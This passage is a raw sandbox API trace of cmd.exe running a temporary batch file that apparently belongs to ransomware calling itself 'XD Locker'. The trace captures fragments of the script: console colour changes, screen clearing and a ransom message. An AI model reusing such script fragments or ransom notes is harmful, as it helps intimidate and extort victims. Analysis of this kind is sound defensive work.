(HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.320] GetProcessHeap () returned 0x4e0000 [0040.320] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.320] _tell (_FileHandle=3) returned 5409 [0040.320] _close (_FileHandle=3) returned 0 [0040.320] _wcsicmp (_String1="msg", _String2="DIR") returned 9 [0040.320] _wcsicmp (_String1="msg", _String2="ERASE") returned 8 [0040.320] _wcsicmp (_String1="msg", _String2="DEL") returned 9 [0040.320] _wcsicmp (_String1="msg", _String2="TYPE") returned -7 [0040.320] _wcsicmp (_String1="msg", _String2="COPY") returned 10 [0040.321] _wcsicmp (_String1="msg", _String2="CD") returned 10 [0040.321] _wcsicmp (_String1="msg", _String2="CHDIR") returned 10 [0040.321] _wcsicmp (_String1="msg", _String2="RENAME") returned -5 [0040.321] _wcsicmp (_String1="msg", _String2="REN") returned -5 [0040.321] _wcsicmp (_String1="msg", _String2="ECHO") returned 8 [0040.321] _wcsicmp (_String1="msg", _String2="SET") returned -6 [0040.321] _wcsicmp (_String1="msg", _String2="PAUSE") returned -3 [0040.321] _wcsicmp (_String1="msg", _String2="DATE") returned 9 [0040.321] _wcsicmp (_String1="msg", _String2="TIME") returned -7 [0040.321] _wcsicmp (_String1="msg", _String2="PROMPT") returned -3 [0040.321] _wcsicmp (_String1="msg", _String2="MD") returned 15 [0040.321] _wcsicmp (_String1="msg", _String2="MKDIR") returned 8 [0040.321] _wcsicmp (_String1="msg", _String2="RD") returned -5 [0040.321] _wcsicmp (_String1="msg", _String2="RMDIR") returned -5 [0040.321] _wcsicmp (_String1="msg", _String2="PATH") returned -3 [0040.321] _wcsicmp (_String1="msg", _String2="GOTO") returned 6 [0040.321] _wcsicmp (_String1="msg", _String2="SHIFT") returned -6 [0040.321] _wcsicmp (_String1="msg", _String2="CLS") returned 10 [0040.321] _wcsicmp (_String1="msg", _String2="CALL") returned 10 [0040.321] _wcsicmp (_String1="msg", _String2="VERIFY") returned -9 [0040.321] _wcsicmp (_String1="msg", _String2="VER") returned -9 [0040.321] _wcsicmp (_String1="msg", _String2="VOL") returned -9 [0040.321] _wcsicmp (_String1="msg", _String2="EXIT") returned 8 [0040.321] _wcsicmp (_String1="msg", _String2="SETLOCAL") returned -6 [0040.321] _wcsicmp (_String1="msg", _String2="ENDLOCAL") returned 8 [0040.321] _wcsicmp (_String1="msg", _String2="TITLE") returned -7 [0040.321] _wcsicmp (_String1="msg", _String2="START") returned -6 [0040.321] _wcsicmp (_String1="msg", _String2="DPATH") returned 9 [0040.322] _wcsicmp (_String1="msg", _String2="KEYS") returned 2 [0040.322] _wcsicmp (_String1="msg", _String2="MOVE") returned 4 [0040.322] _wcsicmp (_String1="msg", _String2="PUSHD") returned -3 [0040.322] _wcsicmp (_String1="msg", _String2="POPD") returned -3 [0040.322] _wcsicmp (_String1="msg", _String2="ASSOC") returned 12 [0040.322] _wcsicmp (_String1="msg", _String2="FTYPE") returned 7 [0040.322] _wcsicmp (_String1="msg", _String2="BREAK") returned 11 [0040.322] _wcsicmp (_String1="msg", _String2="COLOR") returned 10 [0040.322] _wcsicmp (_String1="msg", _String2="MKLINK") returned 8 [0040.322] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4f2570, lpFilePart=0x41f338 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x41f338*="Desktop") returned 0x25 [0040.322] SetErrorMode (uMode=0x0) returned 0x1 [0040.322] GetProcessHeap () returned 0x4e0000 [0040.322] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f2568, Size=0x5c) returned 0x4f2568 [0040.322] GetProcessHeap () returned 0x4e0000 [0040.322] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f2568) returned 0x5c [0040.322] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0040.322] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0040.322] GetProcessHeap () returned 0x4e0000 [0040.322] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x120) returned 0x4e2778 [0040.322] GetProcessHeap () returned 0x4e0000 [0040.322] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x238) returned 0x4f25d0 [0040.322] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0040.323] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\msg.*", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0040.323] GetLastError () returned 0x2 [0040.323] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\msg", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0040.323] GetLastError () returned 0x2 [0040.323] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0040.323] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\msg.*", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0040.323] GetLastError () returned 0x2 [0040.323] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\msg", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0040.324] GetLastError () returned 0x2 [0040.324] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0040.324] FindFirstFileExW (in: lpFileName="C:\\Windows\\msg.*", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0040.324] GetLastError () returned 0x2 [0040.324] FindFirstFileExW (in: lpFileName="C:\\Windows\\msg", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0040.324] GetLastError () returned 0x2 [0040.324] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0040.324] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\msg.*", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0040.327] GetLastError () returned 0x2 [0040.327] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\msg", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0040.329] GetLastError () returned 0x2 [0040.329] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0040.330] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\msg.*", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0040.331] GetLastError () returned 0x2 [0040.331] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\msg", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0040.333] GetLastError () returned 0x2 [0040.333] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0040.334] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4f2920, lpFilePart=0x41ec24 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x41ec24*="Desktop") returned 0x25 [0040.334] SetErrorMode (uMode=0x0) returned 0x1 [0040.334] GetProcessHeap () returned 0x4e0000 [0040.334] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f2918, Size=0x5c) returned 0x4f2918 [0040.334] GetProcessHeap () returned 0x4e0000 [0040.334] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f2918) returned 0x5c [0040.334] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0040.334] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0040.334] GetProcessHeap () returned 0x4e0000 [0040.334] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x120) returned 0x4f4ab8 [0040.334] GetProcessHeap () returned 0x4e0000 [0040.334] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x238) returned 0x4f2980 [0040.334] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0040.334] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\msg.*", fInfoLevelId=0x1, lpFindFileData=0x41e9a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41e9a0) returned 0xffffffff [0040.334] GetLastError () returned 0x2 [0040.334] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\msg", fInfoLevelId=0x1, lpFindFileData=0x41e9a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41e9a0) returned 0xffffffff [0040.335] GetLastError () returned 0x2 [0040.335] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0040.335] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\msg.*", fInfoLevelId=0x1, lpFindFileData=0x41e9a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41e9a0) returned 0xffffffff [0040.335] GetLastError () returned 0x2 [0040.335] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\msg", fInfoLevelId=0x1, lpFindFileData=0x41e9a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41e9a0) returned 0xffffffff [0040.335] GetLastError () returned 0x2 [0040.335] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0040.335] FindFirstFileExW (in: lpFileName="C:\\Windows\\msg.*", fInfoLevelId=0x1, lpFindFileData=0x41e9a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41e9a0) returned 0xffffffff [0040.336] GetLastError () returned 0x2 [0040.336] FindFirstFileExW (in: lpFileName="C:\\Windows\\msg", fInfoLevelId=0x1, lpFindFileData=0x41e9a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41e9a0) returned 0xffffffff [0040.336] GetLastError () returned 0x2 [0040.336] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0040.336] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\msg.*", fInfoLevelId=0x1, lpFindFileData=0x41e9a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41e9a0) returned 0xffffffff [0040.338] GetLastError () returned 0x2 [0040.338] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\msg", fInfoLevelId=0x1, lpFindFileData=0x41e9a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41e9a0) returned 0xffffffff [0040.340] GetLastError () returned 0x2 [0040.340] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0040.340] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\msg.*", fInfoLevelId=0x1, lpFindFileData=0x41e9a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41e9a0) returned 0xffffffff [0040.342] GetLastError () returned 0x2 [0040.342] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\msg", fInfoLevelId=0x1, lpFindFileData=0x41e9a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41e9a0) returned 0xffffffff [0040.343] GetLastError () returned 0x2 [0040.344] _get_osfhandle (_FileHandle=2) returned 0xb [0040.344] GetFileType (hFile=0xb) returned 0x2 [0040.344] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0040.344] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x41edf4 | out: lpMode=0x41edf4) returned 1 [0040.344] _get_osfhandle (_FileHandle=2) returned 0xb [0040.344] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x41ee28 | out: lpConsoleScreenBufferInfo=0x41ee28) returned 1 [0040.345] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a614640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0040.345] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a614640, nSize=0x2000, Arguments=0x41ee68 | out: lpBuffer="'msg' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5e [0040.345] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x5e, lpNumberOfCharsWritten=0x41ee4c, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41ee4c*=0x5e) returned 1 [0040.346] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.346] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.346] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.346] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.346] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.346] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.347] SetConsoleInputExeNameW () returned 0x1 [0040.347] GetConsoleOutputCP () returned 0x1b5 [0040.347] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.347] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.347] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.348] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.348] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.348] SetFilePointer (in: hFile=0x74, lDistanceToMove=5409, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1521 [0040.348] GetProcessHeap () returned 0x4e0000 [0040.348] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f2ab0 | out: hHeap=0x4e0000) returned 1 [0040.348] GetProcessHeap () returned 0x4e0000 [0040.348] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f2980 | out: hHeap=0x4e0000) returned 1 [0040.348] GetProcessHeap () returned 0x4e0000 [0040.348] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0040.348] GetProcessHeap () returned 0x4e0000 [0040.348] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f2918 | out: hHeap=0x4e0000) returned 1 [0040.348] GetProcessHeap () returned 0x4e0000 [0040.348] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5018b8 | out: hHeap=0x4e0000) returned 1 [0040.348] GetProcessHeap () returned 0x4e0000 [0040.348] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f2700 | out: hHeap=0x4e0000) returned 1 [0040.348] GetProcessHeap () returned 0x4e0000 [0040.348] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0040.348] GetProcessHeap () returned 0x4e0000 [0040.348] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f25d0 | out: hHeap=0x4e0000) returned 1 [0040.348] GetProcessHeap () returned 0x4e0000 [0040.348] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2778 | out: hHeap=0x4e0000) returned 1 [0040.348] GetProcessHeap () returned 0x4e0000 [0040.348] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f2568 | out: hHeap=0x4e0000) returned 1 [0040.348] GetProcessHeap () returned 0x4e0000 [0040.348] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.348] GetProcessHeap () returned 0x4e0000 [0040.348] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.348] GetProcessHeap () returned 0x4e0000 [0040.348] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.349] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.349] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1521 [0040.349] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x110c, lpOverlapped=0x0) returned 1 [0040.349] SetFilePointer (in: hFile=0x74, lDistanceToMove=5419, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x152b [0040.349] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=10, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="color 4f\r\ns your file have been encryoted by XD Locker\r\n") returned 10 [0040.349] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.349] GetFileType (hFile=0x74) returned 0x1 [0040.349] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.349] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x152b [0040.349] GetProcessHeap () returned 0x4e0000 [0040.349] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.349] GetProcessHeap () returned 0x4e0000 [0040.349] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.350] _tell (_FileHandle=3) returned 5419 [0040.350] _close (_FileHandle=3) returned 0 [0040.350] _wcsicmp (_String1="color", _String2="DIR") returned -1 [0040.350] _wcsicmp (_String1="color", _String2="ERASE") returned -2 [0040.350] _wcsicmp (_String1="color", _String2="DEL") returned -1 [0040.350] _wcsicmp (_String1="color", _String2="TYPE") returned -17 [0040.350] _wcsicmp (_String1="color", _String2="COPY") returned -4 [0040.350] _wcsicmp (_String1="color", _String2="CD") returned 11 [0040.350] _wcsicmp (_String1="color", _String2="CHDIR") returned 7 [0040.350] _wcsicmp (_String1="color", _String2="RENAME") returned -15 [0040.350] _wcsicmp (_String1="color", _String2="REN") returned -15 [0040.350] _wcsicmp (_String1="color", _String2="ECHO") returned -2 [0040.350] _wcsicmp (_String1="color", _String2="SET") returned -16 [0040.350] _wcsicmp (_String1="color", _String2="PAUSE") returned -13 [0040.350] _wcsicmp (_String1="color", _String2="DATE") returned -1 [0040.350] _wcsicmp (_String1="color", _String2="TIME") returned -17 [0040.350] _wcsicmp (_String1="color", _String2="PROMPT") returned -13 [0040.350] _wcsicmp (_String1="color", _String2="MD") returned -10 [0040.350] _wcsicmp (_String1="color", _String2="MKDIR") returned -10 [0040.351] _wcsicmp (_String1="color", _String2="RD") returned -15 [0040.351] _wcsicmp (_String1="color", _String2="RMDIR") returned -15 [0040.351] _wcsicmp (_String1="color", _String2="PATH") returned -13 [0040.351] _wcsicmp (_String1="color", _String2="GOTO") returned -4 [0040.351] _wcsicmp (_String1="color", _String2="SHIFT") returned -16 [0040.351] _wcsicmp (_String1="color", _String2="CLS") returned 3 [0040.351] _wcsicmp (_String1="color", _String2="CALL") returned 14 [0040.351] _wcsicmp (_String1="color", _String2="VERIFY") returned -19 [0040.351] _wcsicmp (_String1="color", _String2="VER") returned -19 [0040.351] _wcsicmp (_String1="color", _String2="VOL") returned -19 [0040.351] _wcsicmp (_String1="color", _String2="EXIT") returned -2 [0040.351] _wcsicmp (_String1="color", _String2="SETLOCAL") returned -16 [0040.351] _wcsicmp (_String1="color", _String2="ENDLOCAL") returned -2 [0040.351] _wcsicmp (_String1="color", _String2="TITLE") returned -17 [0040.351] _wcsicmp (_String1="color", _String2="START") returned -16 [0040.351] _wcsicmp (_String1="color", _String2="DPATH") returned -1 [0040.351] _wcsicmp (_String1="color", _String2="KEYS") returned -8 [0040.351] _wcsicmp (_String1="color", _String2="MOVE") returned -10 [0040.351] _wcsicmp (_String1="color", _String2="PUSHD") returned -13 [0040.351] _wcsicmp (_String1="color", _String2="POPD") returned -13 [0040.351] _wcsicmp (_String1="color", _String2="ASSOC") returned 2 [0040.351] _wcsicmp (_String1="color", _String2="FTYPE") returned -3 [0040.351] _wcsicmp (_String1="color", _String2="BREAK") returned 1 [0040.351] _wcsicmp (_String1="color", _String2="COLOR") returned 0 [0040.351] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0040.352] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0040.352] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x41f0a8 | out: lpConsoleScreenBufferInfo=0x41f0a8) returned 1 [0040.352] FillConsoleOutputAttribute (in: hConsoleOutput=0x7, wAttribute=0x4f, nLength=0x5dc0, dwWriteCoord=0x0, lpNumberOfAttrsWritten=0x41f0c0 | out: lpNumberOfAttrsWritten=0x41f0c0) returned 1 [0040.359] SetConsoleTextAttribute (hConsoleOutput=0x7, wAttributes=0x4f) returned 1 [0040.359] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.359] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.359] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.359] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.360] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.360] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.360] SetConsoleInputExeNameW () returned 0x1 [0040.360] GetConsoleOutputCP () returned 0x1b5 [0040.360] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.360] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.360] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.361] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.361] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.361] SetFilePointer (in: hFile=0x74, lDistanceToMove=5419, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x152b [0040.361] GetProcessHeap () returned 0x4e0000 [0040.361] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0040.361] GetProcessHeap () returned 0x4e0000 [0040.361] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4530 | out: hHeap=0x4e0000) returned 1 [0040.361] GetProcessHeap () returned 0x4e0000 [0040.361] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.361] GetProcessHeap () returned 0x4e0000 [0040.361] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.361] GetProcessHeap () returned 0x4e0000 [0040.361] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.361] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.361] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x152b [0040.361] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1102, lpOverlapped=0x0) returned 1 [0040.361] SetFilePointer (in: hFile=0x74, lDistanceToMove=5424, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1530 [0040.361] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=5, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="cls\r\n 4f\r\ns your file have been encryoted by XD Locker\r\n") returned 5 [0040.362] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.362] GetFileType (hFile=0x74) returned 0x1 [0040.362] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.362] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1530 [0040.362] GetProcessHeap () returned 0x4e0000 [0040.362] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.362] GetProcessHeap () returned 0x4e0000 [0040.362] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.362] _tell (_FileHandle=3) returned 5424 [0040.362] _close (_FileHandle=3) returned 0 [0040.363] _wcsicmp (_String1="cls", _String2="DIR") returned -1 [0040.363] _wcsicmp (_String1="cls", _String2="ERASE") returned -2 [0040.363] _wcsicmp (_String1="cls", _String2="DEL") returned -1 [0040.363] _wcsicmp (_String1="cls", _String2="TYPE") returned -17 [0040.363] _wcsicmp (_String1="cls", _String2="COPY") returned -3 [0040.363] _wcsicmp (_String1="cls", _String2="CD") returned 8 [0040.363] _wcsicmp (_String1="cls", _String2="CHDIR") returned 4 [0040.363] _wcsicmp (_String1="cls", _String2="RENAME") returned -15 [0040.363] _wcsicmp (_String1="cls", _String2="REN") returned -15 [0040.363] _wcsicmp (_String1="cls", _String2="ECHO") returned -2 [0040.363] _wcsicmp (_String1="cls", _String2="SET") returned -16 [0040.363] _wcsicmp (_String1="cls", _String2="PAUSE") returned -13 [0040.363] _wcsicmp (_String1="cls", _String2="DATE") returned -1 [0040.363] _wcsicmp (_String1="cls", _String2="TIME") returned -17 [0040.363] _wcsicmp (_String1="cls", _String2="PROMPT") returned -13 [0040.363] _wcsicmp (_String1="cls", _String2="MD") returned -10 [0040.363] _wcsicmp (_String1="cls", _String2="MKDIR") returned -10 [0040.363] _wcsicmp (_String1="cls", _String2="RD") returned -15 [0040.363] _wcsicmp (_String1="cls", _String2="RMDIR") returned -15 [0040.363] _wcsicmp (_String1="cls", _String2="PATH") returned -13 [0040.363] _wcsicmp (_String1="cls", _String2="GOTO") 